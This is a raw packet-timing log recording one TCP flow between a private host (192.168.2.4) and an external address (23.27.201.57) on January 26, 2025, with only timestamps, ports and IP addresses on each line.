Jan 26, 2025 08:22:17.774760962 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774764061 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774780035 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774801970 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774811029 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774838924 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774863005 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774864912 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774892092 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774893045 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774905920 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774919987 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774945974 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774946928 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774962902 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774991035 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774996996 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775024891 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775046110 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775052071 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775068045 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775079012 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775093079 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775105953 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775126934 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775132895 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775142908 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775161028 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775175095 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775188923 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775213003 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775217056 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775239944 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775245905 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775264978 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775291920 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775294065 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775341988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775342941 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775368929 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775383949 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775397062 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775420904 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775429010 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775435925 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775527000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775553942 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.775583029 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.775594950 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776595116 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776623011 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776648045 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776648998 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776676893 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776678085 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776699066 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776722908 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776746988 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776773930 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776801109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776802063 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776810884 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776827097 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776842117 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776854992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776880980 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776911020 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776930094 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776942968 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776971102 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.776985884 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.776998043 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777013063 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777024984 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777038097 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777051926 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777076006 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777151108 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777165890 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777178049 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777204990 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777230978 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777232885 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777261019 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777261019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777271986 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777302980 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777318954 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777347088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777369022 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777373075 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777385950 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777405024 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777420998 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777432919 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777460098 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777462006 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777472973 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777487040 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777507067 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777514935 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777537107 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777542114 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777564049 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777569056 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777575970 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777595997 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777617931 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777623892 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777643919 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777650118 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777669907 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777676105 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777698040 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777704000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777720928 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777730942 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777756929 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777777910 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777782917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777808905 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777811050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777818918 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777837992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777863979 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777875900 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777888060 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777892113 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777916908 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777919054 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777939081 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777946949 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.777962923 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.777993917 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778006077 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778044939 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778072119 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778076887 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778099060 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778101921 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778112888 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778126001 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778136969 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778153896 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778177023 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778182030 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778203011 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778209925 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778228045 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778238058 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778251886 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778265953 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778283119 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778292894 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778310061 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778320074 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778336048 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778347015 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778362036 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778379917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778393030 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778407097 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778428078 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778434038 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778460026 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778460979 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778472900 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778489113 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778496981 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778516054 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778537989 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778542995 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778554916 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778570890 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778595924 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778598070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778605938 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778625965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778642893 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778652906 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778676033 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778680086 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778687000 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778709888 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778740883 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778757095 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778767109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778786898 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778794050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778806925 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778820992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778841972 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778846979 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778875113 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778897047 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778901100 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.778918982 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.778949976 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780193090 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780250072 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780345917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780374050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780395985 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780421972 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780424118 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780452967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780472040 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780495882 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780500889 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780529022 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780546904 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780574083 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780575037 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780605078 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780631065 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780652046 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780657053 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780664921 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780694008 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780704975 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780731916 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780757904 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780776978 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780783892 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780811071 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780826092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780832052 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780853033 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780874014 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780896902 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780904055 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780931950 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780955076 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780957937 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780977964 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.780985117 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.780998945 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781012058 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781028032 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781037092 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781052113 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781069994 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781090021 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781116962 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781141996 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781143904 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781157970 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781168938 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781194925 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781196117 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781204939 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781224966 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781250954 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781275034 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781276941 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781287909 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781315088 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781332970 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781359911 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781383038 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781387091 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781404018 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781413078 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781440020 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781445026 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781466961 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781467915 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781487942 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781493902 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781511068 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781522036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781532049 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781548977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781560898 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781577110 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781594038 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781604052 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781625032 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781631947 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781649113 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781657934 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781676054 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781685114 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781698942 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781712055 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781738043 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781738997 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781768084 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781783104 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781791925 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781819105 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781845093 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781871080 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781873941 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781884909 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781896114 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.781914949 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.781939030 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783719063 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.783766031 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783845901 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.783873081 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.783901930 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783912897 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783921003 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.783947945 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.783967018 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783989906 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.783999920 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784028053 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784049034 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784059048 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784085035 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784101009 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784128904 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784133911 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784161091 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784187078 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784207106 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784213066 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784220934 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784255981 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784265041 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784292936 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784318924 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784320116 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784332037 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784346104 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784358978 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784389973 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.784396887 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784424067 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.784440994 CET	49733	62529	192.168.2.4	23.27.201.57
